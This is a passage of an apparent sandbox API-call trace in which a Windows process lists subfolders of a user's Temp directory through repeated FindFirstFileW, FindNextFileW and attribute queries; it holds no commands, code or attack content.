lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa9946100, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0xa9946100, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0xa9946100, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.586] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\outlook logging", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\outlook logging", lpFilePart=0x0) returned 0x34 [0070.586] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\outlook logging\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.586] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.586] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.586] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.586] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.586] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.586] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.586] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\outlook logging", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\outlook logging", lpFilePart=0x0) returned 0x34 [0070.586] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\outlook logging\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.586] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.586] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.587] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.587] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.587] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.587] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Setup000006d8", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Setup000006d8", lpFilePart=0x0) returned 0x32 [0070.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.587] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Setup000006d8" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\setup000006d8"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8773c1e0, ftCreationTime.dwHighDateTime=0x1d2e634, ftLastAccessTime.dwLowDateTime=0x87762340, ftLastAccessTime.dwHighDateTime=0x1d2e634, ftLastWriteTime.dwLowDateTime=0x87762340, ftLastWriteTime.dwHighDateTime=0x1d2e634, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.594] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Setup000006d8", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Setup000006d8", lpFilePart=0x0) returned 0x32 [0070.595] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Setup000006d8\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.595] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.595] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.595] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.595] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.595] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.595] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.595] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Setup000006d8", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Setup000006d8", lpFilePart=0x0) returned 0x32 [0070.595] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\Setup000006d8\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.596] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.596] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.596] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.596] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.596] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.596] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.596] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\WPDNSE", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\WPDNSE", lpFilePart=0x0) returned 0x2b [0070.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.596] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\WPDNSE" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\wpdnse"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x41c0cf90, ftCreationTime.dwHighDateTime=0x1d305cd, ftLastAccessTime.dwLowDateTime=0x41c0cf90, ftLastAccessTime.dwHighDateTime=0x1d305cd, ftLastWriteTime.dwLowDateTime=0x41c0cf90, ftLastWriteTime.dwHighDateTime=0x1d305cd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\WPDNSE", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\WPDNSE", lpFilePart=0x0) returned 0x2b [0070.597] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\WPDNSE\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.597] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.597] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.597] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.597] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.597] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\WPDNSE", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\WPDNSE", lpFilePart=0x0) returned 0x2b [0070.597] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\WPDNSE\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.597] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.597] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.597] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.597] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe6f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0070.598] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", nBufferLength=0x105, lpBuffer=0x6cfe704, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpFilePart=0x0) returned 0x2d [0070.598] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe6f0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0070.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb48) returned 1 [0070.599] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\temp\\~nsu.tmp"), fInfoLevelId=0x0, lpFileInformation=0x6cfebc4 | out: lpFileInformation=0x6cfebc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xc60a4f80, ftCreationTime.dwHighDateTime=0x1d3468a, ftLastAccessTime.dwLowDateTime=0xc60a4f80, ftLastAccessTime.dwHighDateTime=0x1d3468a, ftLastWriteTime.dwLowDateTime=0xc60a4f80, ftLastWriteTime.dwHighDateTime=0x1d3468a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.599] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb44) returned 1 [0070.599] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.599] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe6d8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0070.600] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpFilePart=0x0) returned 0x2d [0070.600] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe6d8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0070.601] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\", lpszLongPath=0x6cfe6d0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\") returned 0x2e [0070.602] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.603] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.603] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.603] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.603] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.603] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.603] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfebd4) returned 1 [0070.603] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe6d8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0070.604] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", nBufferLength=0x105, lpBuffer=0x6cfe6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpFilePart=0x0) returned 0x2d [0070.604] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp", lpszLongPath=0x6cfe6d8, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp") returned 0x2d [0070.604] GetLongPathNameW (in: lpszShortPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\", lpszLongPath=0x6cfe6d0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\") returned 0x2e [0070.606] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\~nsu.tmp\\*", lpFindFileData=0x6cfe8fc | out: lpFindFileData=0x6cfe8fc) returned 0x6fd8a40 [0070.606] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.606] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 1 [0070.606] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe90c | out: lpFindFileData=0x6cfe90c) returned 0 [0070.606] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0070.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb94) returned 1 [0070.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeba0) returned 1 [0070.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfec48) returned 1 [0070.606] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp", nBufferLength=0x105, lpBuffer=0x6cfe760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp", lpFilePart=0x0) returned 0x24 [0070.606] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Temp\\*", lpFindFileData=0x6cfe970 | out: lpFindFileData=0x6cfe970) returned 0x6fd8a40 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.607] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.608] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.609] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.610] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.611] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.612] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.612] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.612] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.612] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.612] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.612] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.612] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.612] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.612] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.613] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.614] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.614] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.614] FindNextFileW (in: hFindFile=0x6fd8a40, lpFindFileData=0x6cfe980 | out: lpFindFileData=0x6cfe980) returned 1 [0070.614] 